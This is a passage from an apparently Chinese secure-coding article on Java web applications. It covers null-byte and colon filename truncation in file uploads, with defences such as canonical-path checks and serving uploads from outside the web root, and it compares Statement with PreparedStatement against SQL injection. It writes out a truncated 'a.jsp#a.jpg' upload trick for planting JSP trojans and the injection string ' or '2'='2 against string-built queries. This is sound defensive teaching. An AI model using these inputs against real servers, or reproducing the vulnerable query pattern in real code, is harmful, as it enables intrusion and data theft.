 &lt;p&gt;  &lt;img alt="p4" src="http://static.wooyun.org//drops/20160606/2016060607354450747upload-2.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;使用十六进制形式查看HTTP请求数据如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p5" src="http://static.wooyun.org//drops/20160606/2016060607354569998upload-3.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;将#对应的字节修改为0x00并发送HTTP请求数据。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p6" src="http://static.wooyun.org//drops/20160606/2016060607354710849upload-4.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;完成文件上传后，查看保存上传文件的目录，可以看到文件上传成功，生成的文件为“a.jsp”。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p7" src="http://static.wooyun.org//drops/20160606/2016060607354884412upload-5.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;原因分析&lt;/h3&gt;
 &lt;p&gt;从上述示例中可以看出，在上传文件时产生了文件名截断的问题。&lt;/p&gt;
 &lt;p&gt;使用以下代码测试JAVA写文件的文件名截断问题，使用0x00至0xff间的字符作为文件名生成文件。&lt;/p&gt;
 &lt;pre&gt;public static void main(String[] args) {
    String java_version = System.getProperty(&amp;quot;java.version&amp;quot;);

    new File(java_version).mkdirs();    

    String filename = &amp;quot;a.jsp#a.jpg&amp;quot;;
    for(int i=0; i&amp;lt;=0xff; i++) {
        String filename_replace = java_version + &amp;quot;/&amp;quot; + i + &amp;quot;-&amp;quot; + filename.replace(&amp;apos;#&amp;apos;, (char)i);
        File f = new File(filename_replace);
        try {
            f.createNewFile();
        } catch (Exception e) {
            System.out.println(&amp;quot;error: &amp;quot; + i);
            e.printStackTrace();
        }
    }
}   
&lt;/pre&gt;
 &lt;h3&gt;Windows环境文件名截断问题测试&lt;/h3&gt;
 &lt;p&gt;在Windows 7，64位环境，使用JDK1.5执行上述代码生成文件的结果如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p8" src="http://static.wooyun.org//drops/20160606/2016060607351010083file-win-1.5.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;可以看到使用JDK1.5执行时，除0x00外，冒号“:”（ASCII码十进制为58）也会产生文件名截断问题。&lt;/p&gt;
 &lt;p&gt;JDK1.6与JDK1.5执行结果相同。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p9" src="http://static.wooyun.org//drops/20160606/2016060607351233683file-win-1.6.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;JDK1.7也与JDK1.5执行结果相同。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p10" src="http://static.wooyun.org//drops/20160606/2016060607351328768file-win-1.7.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;JDK1.8与JDK1.5执行结果不同，仅有冒号会产生文件名截断问题，0x00不会产生文件名截断问题，可能是JDK1.8已修复该问题。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p11" src="http://static.wooyun.org//drops/20160606/2016060607351537135file-win-1.8.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;使用Procmon查看上述过程中java.exe进程执行的写文件操作。&lt;/p&gt;
 &lt;p&gt;JDK1.5、1.6、1.7的监控结果相同，监控结果如下。&lt;/p&gt;
 &lt;p&gt;JDK1.5~1.7，当文件名中包含0x00时，java.exe在执行写文件操作时，会将0x00及之后的字符串丢弃，使用0x00之前的字符串作为文件名写文件。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p12" src="http://static.wooyun.org//drops/20160606/2016060607355310665writefile-win-jdk1.57-00.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;JDK1.5~1.7，当文件名包含冒号时，java.exe在执行写文件操作时，不会将冒号及之后的字符串丢弃。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p13" src="http://static.wooyun.org//drops/20160606/2016060607355417650writefile-win-jdk1.57-58.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;JDK1.8的监控结果如下。&lt;/p&gt;
 &lt;p&gt;JDK1.8，当文件名中包含0x00时，java.exe不会执行写文件的操作。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p14" src="http://static.wooyun.org//drops/20160606/2016060607355615411writefile-win-jdk1.8-00.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;与JDK1.5~1.7一样，JDK1.8当文件名包含冒号时，java.exe在执行写文件操作时，不会将冒号及之后的字符串丢弃。截图略。&lt;/p&gt;
 &lt;p&gt;虽然java.exe在写文件时不会将冒号及之后的字符串丢弃，但在Windows环境下仍然出现了文件名截断的问题。&lt;/p&gt;
 &lt;p&gt;在Windows中执行“echo 1&amp;gt;abc:123”命令，可以看到生成的文件名为“abc”，冒号及之后的字符串被丢弃，造成了文件名截断。这是Windows特性导致的，与JAVA无关。&lt;/p&gt;
 &lt;h3&gt;Linux环境文件名截断问题测试&lt;/h3&gt;
 &lt;p&gt;在Linux RedHat 6.4环境，使用JDK1.6执行上述代码生成文件的结果如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p15" src="http://static.wooyun.org//drops/20160606/2016060607350873920file-lin-1.6.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;JDK1.6，文件名中包含0x00时同样出现了文件名截断问题（文件名中包含ASCII码为92的反斜杠“\”时，生成的文件会产生在子目录中，但不会导致文件类型的变化）。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;综上所述，JDK1.5-1.7存在0x00导致的文件名截断问题，与操作系统无关。冒号在Windows环境会导致文件名截断问题，与JAVA无关。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;使用File对象的getCanonicalPath方法获取JAVA在文件名中包含0x00至0xff的字符时，生成文件时的实际文件路径，代码如下。&lt;/p&gt;
 &lt;pre&gt;public static void main(String[] args) {
    String java_version = System.getProperty(&amp;quot;java.version&amp;quot;);

    String filename = &amp;quot;a.jsp#a.jpg&amp;quot;;
    for(int i=0; i&amp;lt;=0xff; i++) {
        String filename_replace = java_version + &amp;quot;/&amp;quot; + i + &amp;quot;-&amp;quot; + filename.replace(&amp;apos;#&amp;apos;, (char)i);
        File f = new File(filename_replace);
        try {       
            System.out.println(&amp;quot;getCanonicalPath &amp;quot; + f.getCanonicalPath());
        } catch (Exception e) {
            System.out.println(&amp;quot;error: &amp;quot; + i);
            e.printStackTrace();
        }
    }
}   
&lt;/pre&gt;
 &lt;h3&gt;Windows环境执行getCanonicalPath方法的结果&lt;/h3&gt;
 &lt;p&gt;在Windows 7，64位环境，使用JDK1.5~1.7执行上述代码使用getCanonicalPath方法获取文件实际路径的结果相同，结果如下。&lt;/p&gt;
 &lt;p&gt;JDK1.5执行getCanonicalPath方法的结果。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p16" src="http://static.wooyun.org//drops/20160606/2016060607351737484getCanonicalPath-win-jdk1.5.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;JDK1.6执行getCanonicalPath方法的结果。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p17" src="http://static.wooyun.org//drops/20160606/2016060607351998270getCanonicalPath-win-jdk1.6.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;JDK1.7执行getCanonicalPath方法的结果。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p18" src="http://static.wooyun.org//drops/20160606/2016060607352058869getCanonicalPath-win-jdk1.7.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;可以看到JDK1.5~1.7使用getCanonicalPath方法获取文件实际路径时，当文件名中包含0x00时，获取到的文件实际路径中0x00及之后的字符串已被丢弃。&lt;/p&gt;
 &lt;p&gt;在Windows 7，64位环境，使用JDK1.8执行getCanonicalPath方法的结果如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p19" src="http://static.wooyun.org//drops/20160606/2016060607352237571getCanonicalPath-win-jdk1.8.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;可以看到JDK1.8使用getCanonicalPath方法获取文件实际路径时，当文件名中包含0x00时，会出现java.io.IOException异常，异常信息为“Invalid file path”。&lt;/p&gt;
 &lt;h3&gt;Linux环境执行getCanonicalPath方法的结果&lt;/h3&gt;
 &lt;p&gt;在Linux RedHat 6.4环境，使用JDK1.6执行上述代码的结果与Windows环境相同，截图略。&lt;/p&gt;
 &lt;h3&gt;防护方法&lt;/h3&gt;
 &lt;p&gt;以下的防护方法可以根据实际需求进行组合，相互之间没有冲突。&lt;/p&gt;
 &lt;h3&gt;无效的防护方法&lt;/h3&gt;
 &lt;p&gt;使用String对象的endsWith方法无法判断出文件生成时的实际文件名，使用以下代码进行证明。&lt;/p&gt;
 &lt;pre&gt;public static void main(String[] args) {
    String java_version = System.getProperty(&amp;quot;java.version&amp;quot;);

    String filename = &amp;quot;a.jsp#a.jpg&amp;quot;;
    for(int i=0; i&amp;lt;=0xff; i++) {
        String filename_replace = java_version + &amp;quot;/&amp;quot; + i + &amp;quot;-&amp;quot; + filename.replace(&amp;apos;#&amp;apos;, (char)i);
        if(filename_replace.endsWith(&amp;quot;.jpg&amp;quot;)) {
            System.out.println(&amp;quot;yes: &amp;quot; + filename_replace);
        }
    }
}   
&lt;/pre&gt;
 &lt;p&gt;执行结果如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p20" src="http://static.wooyun.org//drops/20160606/2016060607350790760endsWith.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;当文件名为“a.jsp[特定字符]a.jpg”形式时，无论[特定字符]是否为0x00，使用String对象的endsWith方法对文件名进行检测，均认为是以“.jpg”结尾。&lt;/p&gt;
 &lt;h3&gt;针对0x00进行检测&lt;/h3&gt;
 &lt;p&gt;当文件名中包含0x00时，使用String对象的indexOf(0)方法执行结果非-1，可以检测到0x00的存在。但需考虑不同编码情况下0x00的形式。&lt;/p&gt;
 &lt;h3&gt;检测实际的文件名&lt;/h3&gt;
 &lt;p&gt;  &lt;strong&gt;使用File对象的getCanonicalPath方法获取上传文件的实际文件名，若检测到文件名的后缀不是允许的类型（0x00截断，小于JDK1.8），或出现java.io.IOException异常（0x00截断，JDK1.8），或包含冒号（Windows环境中需处理），则说明需要拒绝本次文件上传。&lt;/strong&gt;&lt;/p&gt;
 &lt;h3&gt;修改保存上传文件的目录&lt;/h3&gt;
 &lt;p&gt;上述的防护思路是防止攻击者将jsp文件上传至服务器中，本防护思路是防止攻击者上传的jsp文件被编译为class文件。&lt;/p&gt;
 &lt;p&gt;当JAVA中间件收到访问web应用目录中的jsp文件请求时，会将对应的jsp文件编译为class文件并执行。若将保存上传文件的目录修改为非web应用目录，当JAVA中间件收到访问上传文件的请求时，即使被访问的文件为jsp文件，JAVA中间件也不会将jsp文件编译为成class文件并执行，可以防止攻击者利用上传jsp木马控制服务器。&lt;/p&gt;
 &lt;p&gt;将保存上传文件的目录修改为非web应用目录的操作很简单，将处理文件上传代码中保存文件的目录修改为非web应用目录即可。进行该修改后，还可以使用共享目录解决多实例应用上传文件的问题。&lt;/p&gt;
 &lt;p&gt;将保存上传文件的目录修改为非web应用目录后，会导致无法使用原有方式访问上传的文件（例如文件上传目录原本为web应用目录中的upload目录，可直接使用http://[IP]:[PORT]/xxx/upload/xxx进行访问。将upload目录移动到非web应用目录后，无法再使用原有URL访问上传的文件）。可通过以下两种方法解决。&lt;/p&gt;
 &lt;p&gt;使用Servlet/action/.do请求访问上传文件，可参考前文中的download.DownloadAction类。本方法的影响面较大，不推荐使用。&lt;/p&gt;
 &lt;p&gt;除上述方法外，还可使用filter拦截HTTP请求处理，当HTTP请求访问文件上传目录中的文件时，读取对应的文件内容并返回（例如原本上传目录为web应用目录中的upload目录，可直接使用http://[IP]:[PORT]/xxx/upload/xxx进行访问。将upload目录移动到非web应用目录后，对HTTP请求处理进行拦截，当请求以“/xxx/upload”开头时，从文件上传目录中读取对应的文件内容并返回）。本方法可使用原本的URL访问上传文件，影响面较小，推荐使用。示例代码如下。&lt;/p&gt;
 &lt;p&gt;在web.xml中使用filter拦截HTTP请求处理。&lt;/p&gt;
 &lt;pre&gt;&amp;lt;filter&amp;gt;
    &amp;lt;filter-name&amp;gt;testFilter&amp;lt;/filter-name&amp;gt;
    &amp;lt;filter-class&amp;gt;test.TestFilter&amp;lt;/filter-class&amp;gt;
&amp;lt;/filter&amp;gt;

&amp;lt;filter-mapping&amp;gt;
    &amp;lt;filter-name&amp;gt;testFilter&amp;lt;/filter-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt;
&amp;lt;/filter-mapping&amp;gt;
&lt;/pre&gt;
 &lt;p&gt;对应的test.TestFilter类代码如下。&lt;/p&gt;
 &lt;pre&gt;private static String IF_MODIFIED_SINCE = &amp;quot;If-Modified-Since&amp;quot;;
private static String LAST_MODIFIED = &amp;quot;Last-Modified&amp;quot;;

private static String startFlag = &amp;quot;/testDownload/upload/&amp;quot;;
private static String storePath = &amp;quot;C:/Users/Public&amp;quot;;

public void doFilter(ServletRequest request, ServletResponse response,
        FilterChain chain) throws IOException, ServletException {
    HttpServletRequest httpRequest = (HttpServletRequest) request;
    // 获取浏览器访问的URL，形式如/test/upload/xxx.jpg
    String requestUrl = httpRequest.getRequestURI();
    System.out.println(&amp;quot;requestUrl: &amp;quot; + requestUrl);

    if (requestUrl != null) {
        // 判断是否访问upload目录的文件，若是则从对应的存储目录读取并返回
        if (requestUrl.startsWith(startFlag)) {
            try {
                returnFileContent(requestUrl, (HttpServletRequest) request,
                        (HttpServletResponse) response);
            } catch (Exception e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return;
        }
    }

    chain.doFilter(request, response);
    return;
}

// 当访问web应用特定目录下的文件时，重定向到实际存储这些文件的目录
private void returnFileContent(String url, HttpServletRequest request,
        HttpServletResponse response) throws Exception {
    java.io.InputStream in = null;
    java.io.OutputStream outStream = null;
    try {
        response.setHeader(&amp;quot;Content-Type&amp;quot;, &amp;quot;text/plain&amp;quot;);// 若不返回text/plain类型，浏览器无法正常识别文件类型
        String filePath = url.substring(startFlag.length() - 1);// 获取被访问的文件的URL
        String filePath_decode = URLDecoder.decode(filePath, &amp;quot;UTF-8&amp;quot;);// 经过url解码之后的文件URL

        // 生成最终访问的文件路径
        // StorePath形式如C:/xxx/xxx，filePath_decode开头有/
        String targetfile = storePath + filePath_decode;
        System.out.println(&amp;quot;targetfile: &amp;quot; + targetfile);
        File f = new File(targetfile);
        if (!f.exists() || f.isDirectory()) {
            System.out.println(&amp;quot;文件不存在: &amp;quot; + targetfile);
            response.sendError(HttpServletResponse.SC_NOT_FOUND);// 返回错误信息，显示统一错误页面
            return;
        }
        // 判断上送的HTTP头是否有If-Modified-Since字段
        String modified = request.getHeader(IF_MODIFIED_SINCE);
        //获取文件的修改时间
        String modified_file = getFileModifiedTime(f);
        if (modified != null) {
            // 上送的HTTP头有If-Modified-Since字段，判断与对应文件的修改时间是否相同
            if(modified.equals(modified_file)) {
                //上送的文件时间与文件实际修改时间相同，不需返回文件内容
                response.setStatus(HttpServletResponse.SC_NOT_MODIFIED);//返回304状态
                outStream = response.getOutputStream();
                outStream.close();
                outStream.flush();
                outStream = null;
                return;
            }
        }
        // 文件无缓存，或文件有修改，需要在返回的HTTP头中添加文件修改时间
        response.setHeader(LAST_MODIFIED, modified_file);

        // 读取文件内容
        in = new FileInputStream(f);
        outStream = response.getOutputStream();
        byte[] buf = new byte[1024];
        int bytes = 0;
        while ((bytes = in.read(buf)) != -1)
            outStream.write(buf, 0, bytes);
        in.close();
        outStream.close();
        outStream.flush();
        outStream = null;
    } catch (Throwable ex) {
        ex.printStackTrace();
    } finally {
        if (in != null) {
            in.close();
            in = null;
        }
        if (outStream != null) {
            outStream.close();
            outStream = null;
        }
    }
}

// 获取指定文件的修改时间
private String getFileModifiedTime(File file) {
    SimpleDateFormat sdf = new SimpleDateFormat(&amp;quot;EEE, dd MMM yyyy HH:mm:ss z&amp;quot;, Locale.US);
    sdf.setTimeZone(TimeZone.getTimeZone(&amp;quot;GMT&amp;quot;));
    return sdf.format(file.lastModified());
}
&lt;/pre&gt;
 &lt;p&gt;上述示例代码中，保存上传文件的目录为“C:/Users/Public”，当HTTP请求以“/testDownload/upload/”开头时，说明需要访问上传文件。&lt;/p&gt;
 &lt;p&gt;上述修改方法接管了JAVA中间件对原本上传目录的静态资源的访问请求，导致浏览器的缓存机制不可用。为了保证浏览器的缓存机制可用，上述代码中进行了专门处理。当HTTP请求头中不包含“If-Modified-Since”参数时，或“If-Modified-Since”对应的文件修改时间小于实际文件修改时间时，将文件的内容返回给浏览器，并在返回的HTTP头中加入“Last-Modified”参数返回文件修改时间，使浏览器对该文件进行缓存。当HTTP请求头的“If-Modified-Since”对应的文件修改时间等于实际文件修改时间时，不返回文件内容，将返回的HTTP码设为304，告知浏览器访问的文件无修改，可使用缓存。&lt;/p&gt;
 &lt;p&gt;以下为上述代码的测试结果。&lt;/p&gt;
 &lt;p&gt;web应用的目录中无upload目录。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p21" src="http://static.wooyun.org//drops/20160606/2016060607344939026dl-0.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;文件上传目录“C:/Users/Public”中有以下文件。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p22" src="http://static.wooyun.org//drops/20160606/2016060607345445017dl-1.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;访问文本文件正常。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p23" src="http://static.wooyun.org//drops/20160606/2016060607345669368dl-2.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;访问图片正常。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p24" src="http://static.wooyun.org//drops/20160606/2016060607345733751dl-3.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;访问音频文件正常。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p25" src="http://static.wooyun.org//drops/20160606/2016060607345968809dl-4.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;访问jsp文件只返回文件本身的内容，不会被编译成class文件并执行。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p26" src="http://static.wooyun.org//drops/20160606/2016060607350011755dl-5.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;使用fiddler查看访问记录，浏览器缓存机制正常。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p27" src="http://static.wooyun.org//drops/20160606/2016060607350225237dl-6.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;修改web应用目录权限&lt;/h3&gt;
 &lt;p&gt;将文件上传目录移出web应用目录后，JAVA中间件在运行过程中，web应用目录及其中的文件一般不会被修改。可在JAVA中间件启动后，将web应用目录设为JAVA中间件不可写；当需要进行版本更新或维护时，停止JAVA中间件后，将web应用目录设为JAVA中间件可写。通过上述限制，可严格地防止web应用目录被上传jsp木马等恶意文件。&lt;/p&gt;
 &lt;p&gt;可将JAVA中间件使用a用户启动，将web应用的目录对应用户设为b用户，JAVA中间件启动后，将web应用的目录设为a用户只读。需要进行版本更新或维护时，停止JAVA中间件后，将web应用的目录设为a用户可读写。对于某些JAVA中间件在运行过程中可能需要进行写操作的文件或目录，可单独设置权限。可将对web应用的权限修改操作在JAVA中间件启停脚本中调用，减少操作复杂度。&lt;/p&gt;
 &lt;p&gt;Windows的权限设置较复杂且速度较慢，使用上述的防护方法时会比较麻烦。&lt;/p&gt;
 &lt;h1&gt;0x03 SQL注入&lt;/h1&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;h3&gt;PreparedStatement与Statement&lt;/h3&gt;
 &lt;p&gt;众所周知，在JAVA中使用PreparedStatement替代Statement可以防止SQL注入。&lt;/p&gt;
 &lt;p&gt;在oracle数据库中进行以下测试。&lt;/p&gt;
 &lt;p&gt;首先创建测试用的数据库表并插入数据。&lt;/p&gt;
 &lt;pre&gt;create table test_user
(
username varchar2(100),
pwd varchar2(100)
);

Insert into TEST_USER
   (USERNAME, PWD)
 Values
   (&amp;apos;aaa&amp;apos;, &amp;apos;bbb&amp;apos;);
COMMIT;
&lt;/pre&gt;
 &lt;p&gt;使用以下JAVA代码进行测试。&lt;/p&gt;
 &lt;pre&gt;private Connection conn = null;

public dbtest2(String url, String username, String password)
        throws ClassNotFoundException, SQLException {
    try {
        Class.forName(&amp;quot;oracle.jdbc.driver.OracleDriver&amp;quot;);
        conn = DriverManager.getConnection(url, username, password);
    } catch (Exception e) {
        // TODO: handle exception
        e.printStackTrace();
    }
}

public void closeDb() throws SQLException {
    conn.close();
}

public void executeStatement(String username, String pwd)
        throws SQLException {
    String sql = &amp;quot;SELECT * FROM TEST_USER where username=&amp;apos;&amp;quot; + username
            + &amp;quot;&amp;apos; and pwd=&amp;apos;&amp;quot; + pwd + &amp;quot;&amp;apos;&amp;quot;;
    System.out.println(&amp;quot;executeStatement-sql: &amp;quot; + sql);
    java.sql.Statement stmt = conn.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    showResultSet(rs);
    stmt.close();
}

public void executePreparedStatement(String username, String pwd)
        throws SQLException {
    java.sql.PreparedStatement stmt = conn
            .prepareStatement(&amp;quot;SELECT * FROM TEST_USER where username=? and pwd=?&amp;quot;);
    stmt.setString(1, username);
    stmt.setString(2, pwd);
    ResultSet rs = stmt.executeQuery();
    showResultSet(rs);
    stmt.close();
}

public void showResultSet(ResultSet rs) throws SQLException {
    ResultSetMetaData meta = rs.getMetaData();
    StringBuffer sb = new StringBuffer();
    int colCount = meta.getColumnCount();
    for (int i = 1; i &amp;lt;= colCount; i++) {
        sb.append(meta.getColumnName(i)).append(&amp;quot;[&amp;quot;)
                .append(meta.getColumnTypeName(i)).append(&amp;quot;]&amp;quot;).append(&amp;quot;\t&amp;quot;);
    }
    while (rs.next()) {
        sb.append(&amp;quot;\r\n&amp;quot;);

        for (int i = 1; i &amp;lt;= colCount; i++) {
            sb.append(rs.getString(i)).append(&amp;quot;\t&amp;quot;);
        }
    }
    // 关闭ResultSet
    rs.close();

    System.out.println(sb.toString());
}

public static void main(String[] args) throws SQLException {
    try {
        dbtest2 db = new dbtest2(
                &amp;quot;jdbc:oracle:thin:@192.xxx.xxx.xxx:1521:xxx&amp;quot;,
                &amp;quot;xxx&amp;quot;, &amp;quot;xxx&amp;quot;);

        db.executeStatement(&amp;quot;aaa&amp;quot;, &amp;quot;bbb&amp;quot;);
        db.executeStatement(&amp;quot;aaa&amp;quot;, &amp;quot;&amp;apos; or &amp;apos;2&amp;apos;=&amp;apos;2&amp;quot;);

        db.executePreparedStatement(&amp;quot;aaa&amp;quot;, &amp;quot;bbb&amp;quot;);
        db.executePreparedStatement(&amp;quot;aaa&amp;quot;, &amp;quot;&amp;apos; or &amp;apos;2&amp;apos;=&amp;apos;2&amp;quot;);

        db.closeDb();
    } catch (ClassNotFoundException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
}
&lt;/pre&gt;
 &lt;p&gt;执行结果如下。&lt;/p&gt;
 &lt;pre&gt;1 db.executeStatement(&amp;quot;aaa&amp;quot;, &amp;quot;bbb&amp;quot;);对应的结果  
executeStatement-sql: SELECT * FROM TEST_USER where username=&amp;apos;aaa&amp;apos; and pwd=&amp;apos;bbb&amp;apos;

USERNAME[VARCHAR2]  PWD[VARCHAR2]  
aaa bbb 

2 db.executeStatement(&amp;quot;aaa&amp;quot;, &amp;quot;&amp;apos; or &amp;apos;2&amp;apos;=&amp;apos;2&amp;quot;);对应的结果  
executeStatement-sql: SELECT * FROM TEST_USER where username=&amp;apos;aaa&amp;apos; and pwd=&amp;apos;&amp;apos; or &amp;apos;2&amp;apos;=&amp;apos;2&amp;apos;

USERNAME[VARCHAR2]  PWD[VARCHAR2]  
aaa bbb 

3 db.executePreparedStatement(&amp;quot;aaa&amp;quot;, &amp;quot;bbb&amp;quot;);对应的结果  
USERNAME[VARCHAR2]  PWD[VARCHAR2]  
aaa bbb 

4 db.executePreparedStatement(&amp;quot;aaa&amp;quot;, &amp;quot;&amp;apos; or &amp;apos;2&amp;apos;=&amp;apos;2&amp;quot;);对应的结果  
USERNAME[VARCHAR2]  PWD[VARCHAR2]  
&lt;/pre&gt;
 &lt;p&gt;可以看到使用Statement时，将查询参数设为“username=&amp;apos;aaa&amp;apos; and pwd=&amp;apos;bbb&amp;apos;”使用正常的查询条件能查询到对应的数据。将查询参数设为“username=&amp;apos;aaa&amp;apos; and pwd=&amp;apos;&amp;apos; or &amp;apos;2&amp;apos;=&amp;apos;2&amp;apos;”能够利用SQL注入查询到对应的数据。&lt;/p&gt;
 &lt;p&gt;使用PreparedStatement时，使用正常的查询条件同样能查询到对应的数据，使用能使Statement产生SQL注入的查询条件无法再查询到数据。&lt;/p&gt;
 &lt;p&gt;使用Wireshark对刚才的数据库操作抓包并查看网络数据。&lt;/p&gt;
 &lt;p&gt;查找select语句对应的数据包如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p28" src="http://static.wooyun.org//drops/20160606/2016060607353433191sql-1.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;db.executeStatement(&amp;quot;aaa&amp;quot;, &amp;quot;bbb&amp;quot;);对应的数据包如下，可以看到查询语句未使用oracle绑定变量方式，使用正常查询条件查询到了数据。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p29" src="http://static.wooyun.org//drops/20160606/2016060607353675536sql-2.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;db.executeStatement(&amp;quot;aaa&amp;quot;, &amp;quot;&amp;apos; or &amp;apos;2&amp;apos;=&amp;apos;2&amp;quot;);对应的数据包如下，可以看到查询语句未使用oracle绑定变量方式，利用SQL注入查询到了数据。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p30" src="http://static.wooyun.org//drops/20160606/2016060607353823938sql-3.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;db.executePreparedStatement(&amp;quot;aaa&amp;quot;, &amp;quot;bbb&amp;quot;);对应的数据包如下，可以看到查询语句使用了oracle绑定变量方式，使用正常查询条件查询到了数据。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p31" src="http://static.wooyun.org//drops/20160606/2016060607353928982sql-4.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;db.executePreparedStatement(&amp;quot;aaa&amp;quot;, &amp;quot;&amp;apos; or &amp;apos;2&amp;apos;=&amp;apos;2&amp;quot;);对应的数据包如下，可以看到查询语句使用了oracle绑定变量方式，SQL注入未生效，无法查询到对应数据。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p32" src="http://static.wooyun.org//drops/20160606/2016060607354045392sql-5.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在JAVA中使用PreparedStatement访问oracle数据库时，除了能防止SQL注入外，还能使oracle服务器降低硬解析率，降低系统开销，减少内存碎片，提高执行效率。&lt;/p&gt;
 &lt;p&gt;刚才执行的sql语句在oracle的v$sql视图中产生的数据如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p33" src="http://static.wooyun.org//drops/20160606/2016060607355096926vsql-1.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;ibatis&lt;/h3&gt;
 &lt;p&gt;当使用ibatis作为持久化框架时，也需要考虑SQL注入的问题。使用ibatis产生SQL注入主要是由于使用不规范。&lt;/p&gt;
 &lt;h3&gt;  &lt;code&gt;$&lt;/code&gt;与  &lt;code&gt;#&lt;/code&gt;&lt;/h3&gt;
 &lt;p&gt;在ibatis中使用#时，与使用PreparedStatement的效果相同，不会产生SQL注入；在ibatis中使用$时，与使用Statement的效果相同，会产生SQL注入。&lt;/p&gt;
 &lt;p&gt;继续使用刚才的数据库表TEST_USER进行测试，再插入一条数据如下。&lt;/p&gt;
 &lt;pre&gt;Insert into TEST_USER
   (USERNAME, PWD)
 Values
   (&amp;apos;123&amp;apos;, &amp;apos;456&amp;apos;);
COMMIT;
&lt;/pre&gt;
 &lt;p&gt;将log4j中的数据库相关日志级别设为DEBUG。&lt;/p&gt;
 &lt;pre&gt;log4j.logger.com.ibatis=DEBUG
log4j.logger.com.ibatis.common.jdbc.SimpleDataSource=DEBUG
log4j.logger.com.ibatis.common.jdbc.ScriptRunner=DEBUG
log4j.logger.com.ibatis.sqlmap.engine.impl.SqlMapClientDelegate=DEBUG
log4j.logger.java.sql.Connection=DEBUG
log4j.logger.java.sql.Statement=DEBUG
log4j.logger.java.sql.PreparedStatement=DEBUG
log4j.logger.java.sql.ResultSet=DEBUG
&lt;/pre&gt;
 &lt;p&gt;首先使用#与$测试执行判断条件为“=”的sql语句时的情况。&lt;/p&gt;
 &lt;p&gt;在ibatis对应的xml文件中配置了语句test_right与test_wrong如下。&lt;/p&gt;
 &lt;pre&gt;&amp;lt;select id=&amp;quot;test_right&amp;quot; resultClass=&amp;quot;java.util.HashMap&amp;quot;
    parameterClass=&amp;quot;java.util.HashMap&amp;quot;&amp;gt;
    select * from test_user where username = #username#
&amp;lt;/select&amp;gt;

&amp;lt;select id=&amp;quot;test_wrong&amp;quot; resultClass=&amp;quot;java.util.HashMap&amp;quot;
    parameterClass=&amp;quot;java.util.HashMap&amp;quot;&amp;gt;
    select * from test_user where username = &amp;apos;$username$&amp;apos;
&amp;lt;/select&amp;gt;
&lt;/pre&gt;
 &lt;p&gt;在JAVA代码中执行上述语句如下。&lt;/p&gt;
 &lt;pre&gt;HashMap hs = new HashMap();

